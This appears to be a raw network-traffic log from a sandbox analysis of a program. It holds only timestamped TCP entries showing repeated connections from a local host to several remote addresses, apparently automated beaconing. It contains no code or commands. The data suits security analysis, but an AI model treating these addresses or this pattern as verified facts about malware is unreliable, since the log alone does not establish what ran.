                                                                                                                                                            Dec 16, 2024 14:23:14.447211981 CET49741443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:14.448803902 CET49741443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:14.448824883 CET44349741104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:14.449173927 CET44349741104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:14.492346048 CET49741443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:14.535336018 CET44349741104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:14.897391081 CET44349741104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:14.897454023 CET44349741104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:14.897535086 CET49741443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:14.907269955 CET49741443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:14.911082983 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:15.032160997 CET8049731158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:15.219450951 CET8049742158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:15.220669985 CET49748443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:15.220705032 CET44349748104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:15.220798016 CET49748443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:15.221087933 CET49748443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:15.221102953 CET44349748104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:15.260415077 CET4974280192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:15.294223070 CET8049731158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:15.297102928 CET49749443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:15.297173023 CET44349749104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:15.297245026 CET49749443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:15.297615051 CET49749443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:15.297648907 CET44349749104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:15.338570118 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:16.437076092 CET44349748104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:16.438807964 CET49748443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:16.438828945 CET44349748104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:16.532999039 CET44349749104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:16.538610935 CET49749443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:16.538639069 CET44349749104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:16.883774996 CET44349748104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:16.883837938 CET44349748104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:16.884104013 CET49748443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:16.884318113 CET49748443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:16.889467955 CET4975580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:16.983395100 CET44349749104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:16.983469009 CET44349749104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:16.983946085 CET49749443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:16.984054089 CET49749443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:16.987538099 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:16.989295959 CET4975680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:17.009294033 CET8049755158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:17.009376049 CET4975580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:17.009506941 CET4975580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:17.107760906 CET8049731158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:17.107856035 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:17.109091997 CET8049756158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:17.109390020 CET4975680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:17.110789061 CET4975680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:17.132066011 CET8049755158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:17.232299089 CET8049756158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:18.224162102 CET8049755158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:18.225338936 CET49758443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:18.225392103 CET44349758104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:18.225452900 CET49758443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:18.225686073 CET49758443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:18.225698948 CET44349758104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:18.276072025 CET4975580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:18.320864916 CET8049756158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:18.321124077 CET4975680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:18.322500944 CET49759443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:18.322551012 CET44349759104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:18.322607040 CET49759443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:18.323071957 CET49759443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:18.323086023 CET44349759104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:18.443538904 CET8049756158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:18.443633080 CET4975680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:19.460074902 CET44349758104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:19.462253094 CET49758443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:19.462292910 CET44349758104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:19.533745050 CET44349759104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:19.535362005 CET49759443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:19.535404921 CET44349759104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:19.914797068 CET44349758104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:19.915209055 CET44349758104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:19.915283918 CET49758443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:19.915776968 CET49758443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:19.919333935 CET4975580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:19.920427084 CET4976680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:19.984639883 CET44349759104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:19.984705925 CET44349759104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:19.985110044 CET49759443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:19.985356092 CET49759443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:19.989398956 CET4976780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:20.039402008 CET8049755158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:20.039479017 CET4975580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:20.040086031 CET8049766158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:20.040164948 CET4976680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:20.040308952 CET4976680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:20.109136105 CET8049767158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:20.109338999 CET4976780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:20.109385014 CET4976780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:20.159980059 CET8049766158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:20.229257107 CET8049767158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:21.243686914 CET8049766158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:21.245079041 CET49769443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:21.245126963 CET44349769104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:21.245198011 CET49769443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:21.245446920 CET49769443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:21.245456934 CET44349769104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:21.291682005 CET4976680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:21.314349890 CET8049767158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:21.315687895 CET49774443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:21.315722942 CET44349774104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:21.315794945 CET49774443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:21.316056013 CET49774443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:21.316068888 CET44349774104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:21.354223013 CET4976780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:22.457365990 CET44349769104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:22.458908081 CET49769443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:22.458939075 CET44349769104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:22.529347897 CET44349774104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:22.536226988 CET49774443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:22.536259890 CET44349774104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:22.903599024 CET44349769104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:22.903688908 CET44349769104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:22.903743029 CET49769443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:22.915498972 CET49769443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:22.919994116 CET4976680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:22.920659065 CET4977580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:22.985829115 CET44349774104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:22.985884905 CET44349774104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:22.985949993 CET49774443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:22.986439943 CET49774443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:22.990283012 CET4976780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:22.991707087 CET4977680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:23.040251017 CET8049766158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:23.040318966 CET4976680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:23.040400028 CET8049775158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:23.040472031 CET4977580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:23.040644884 CET4977580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:23.110269070 CET8049767158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:23.110317945 CET4976780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:23.111569881 CET8049776158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:23.111639023 CET4977680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:23.111809015 CET4977680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:23.160284042 CET8049775158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:23.231458902 CET8049776158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:24.244319916 CET8049775158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:24.245915890 CET49781443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:24.245959044 CET44349781104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:24.246819019 CET49781443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:24.246819019 CET49781443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:24.246857882 CET44349781104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:24.291707039 CET4977580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:24.319961071 CET8049776158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:24.321085930 CET49782443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:24.321182966 CET44349782104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:24.321268082 CET49782443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:24.321482897 CET49782443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:24.321507931 CET44349782104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:24.369827986 CET4977680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:25.473997116 CET44349781104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:25.475662947 CET49781443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:25.475684881 CET44349781104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:25.533317089 CET44349782104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:25.534965992 CET49782443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:25.535038948 CET44349782104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:25.921829939 CET44349781104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:25.921900034 CET44349781104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:25.921952963 CET49781443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:25.922493935 CET49781443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:25.925462008 CET4977580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:25.926614046 CET4978880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:25.979187012 CET44349782104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:25.979254961 CET44349782104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:25.979321957 CET49782443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:25.979846001 CET49782443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:25.985466957 CET4978980192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:25.985622883 CET4977680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:26.045635939 CET8049775158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:26.045705080 CET4977580192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:26.046363115 CET8049788158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:26.047384024 CET4978880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:26.047564030 CET4978880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:26.105416059 CET8049789158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:26.105561972 CET4978980192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:26.105690956 CET8049776158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:26.105798006 CET4978980192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:26.105820894 CET4977680192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:26.167293072 CET8049788158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:26.225512981 CET8049789158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:27.252557039 CET8049788158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:27.253993988 CET49790443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:27.254053116 CET44349790104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:27.254127026 CET49790443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:27.254450083 CET49790443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:27.254462004 CET44349790104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:27.307307959 CET4978880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:27.310658932 CET8049789158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:27.312392950 CET49791443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:27.312442064 CET44349791104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:27.312511921 CET49791443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:27.312799931 CET49791443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:27.312813044 CET44349791104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:27.354288101 CET4978980192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:28.469311953 CET44349790104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:28.471468925 CET49790443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:28.471503973 CET44349790104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:28.524168968 CET44349791104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:28.526083946 CET49791443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:28.526120901 CET44349791104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:28.919475079 CET44349790104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:28.919536114 CET44349790104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:28.919606924 CET49790443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:28.920419931 CET49790443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:28.925240040 CET4978880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:28.926565886 CET4979780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:28.971982002 CET44349791104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:28.972060919 CET44349791104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:28.972212076 CET49791443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:28.972965956 CET49791443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:28.982878923 CET4978980192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:28.985229969 CET4979880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:29.045455933 CET8049788158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:29.045548916 CET4978880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:29.046291113 CET8049797158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:29.046381950 CET4979780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:29.046560049 CET4979780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:29.103368998 CET8049789158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:29.103426933 CET4978980192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:29.104978085 CET8049798158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:29.105076075 CET4979880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:29.105341911 CET4979880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:29.166364908 CET8049797158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:29.225056887 CET8049798158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:30.251179934 CET8049797158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:30.252954006 CET49803443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:30.253000975 CET44349803104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:30.253177881 CET49803443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:30.253593922 CET49803443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:30.253607035 CET44349803104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:30.291737080 CET4979780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:30.507512093 CET8049798158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:30.509335041 CET49805443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:30.509377956 CET44349805104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:30.509499073 CET49805443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:30.510107040 CET49805443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:30.510130882 CET44349805104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:30.557329893 CET4979880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:31.464591980 CET44349803104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:31.467329025 CET49803443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:31.467365026 CET44349803104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:31.723023891 CET44349805104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:31.725294113 CET49805443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:31.725320101 CET44349805104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:31.919416904 CET44349803104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:31.919497967 CET44349803104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:31.919737101 CET49803443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:31.920222998 CET49803443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:31.923794031 CET4979780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:31.925035954 CET4980780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.044018030 CET8049797158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:32.044142008 CET4979780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.044826984 CET8049807158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:32.044909954 CET4980780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.045152903 CET4980780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.165055037 CET8049807158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:32.172569990 CET44349805104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:32.172657013 CET44349805104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:32.172899961 CET49805443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:32.184499025 CET49805443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:32.194562912 CET4981180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.194742918 CET4979880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.314336061 CET8049811158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:32.314434052 CET4981180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.314729929 CET4981180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.314798117 CET8049798158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:32.314965963 CET4979880192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:32.434557915 CET8049811158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:33.250650883 CET8049807158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:33.252441883 CET49813443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:33.252486944 CET44349813104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:33.252708912 CET49813443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:33.253031969 CET49813443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:33.253053904 CET44349813104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:33.291901112 CET4980780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:33.520648956 CET8049811158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:33.522212029 CET49814443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:33.522269964 CET44349814104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:33.522464991 CET49814443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:33.522778034 CET49814443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:33.522794008 CET44349814104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:33.573065996 CET4981180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:34.468832970 CET44349813104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:34.470637083 CET49813443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:34.470671892 CET44349813104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:34.734359980 CET44349814104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:34.736243963 CET49814443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:34.736278057 CET44349814104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:34.920005083 CET44349813104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:34.920084953 CET44349813104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:34.920154095 CET49813443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:34.921226025 CET49813443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:34.968878031 CET4980780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:35.088982105 CET8049807158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:35.089066029 CET4980780192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:35.108829975 CET49820443192.168.2.6149.154.167.220
